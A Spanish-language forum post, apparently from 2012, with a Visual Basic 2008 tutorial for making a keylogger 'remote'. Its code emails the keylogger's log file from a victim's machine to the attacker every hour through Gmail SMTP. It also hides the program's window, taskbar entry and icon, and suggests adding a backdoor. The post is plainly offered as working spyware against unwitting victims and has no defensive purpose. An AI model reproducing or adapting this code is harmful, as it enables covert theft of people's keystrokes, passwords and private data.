Intentaré explicar una forma sencilla de como hacer de un keylogger local a remoto usando VB 2008.
Consiste en enviar el archivo Log que crea el keylogger en el equipo de la victima por e-mail, de esta manera veremos el archivo log.
Necesitamos una cuenta gmail, desde la que enviaremos el archivo, y otra cuenta, de cualquier compañía (puede ser hotmail).
Comencemos a programar:
En nuestro form, añadimor un Timer, llamado Timer1
Encima de todo ponemos esto:
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Y en el Timer1, con intervalo de 1h:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim mail As New MailMessage()
Dim Attach As Attachment
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "contraseña") 'para autentificarnos
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("[email protected] u otro")
mail.From = New MailAddress("[email protected]") 'la misma con la que nos autentificamos
mail.Subject = "Asunto"
Attach = New Attachment(Environ$("windir") & "\bhlg.txt") 'ruta del archivo Log(C:\Windows\bhlg.txt en este caso
mail.Attachments.Add(Attach)
mail.Body = "mensaje"
SmtpServer.Send(mail)
End Sub
Propiedades del form:
ShownInTaskBar: Flase
ShowIcon: False
Opacity: 0% (o en su defecto, en form load ponemos me.hide())
Espero que les haya servido;
P.D: Podrían tambien añadir un Backdoor, para borrar el keylogger y el sender, por que se os llenaría en email, por eso poner el intervalo de 1h xD
Saludos
Similar topics (3)
Diciembre 22, 2012, 01:07:37 pm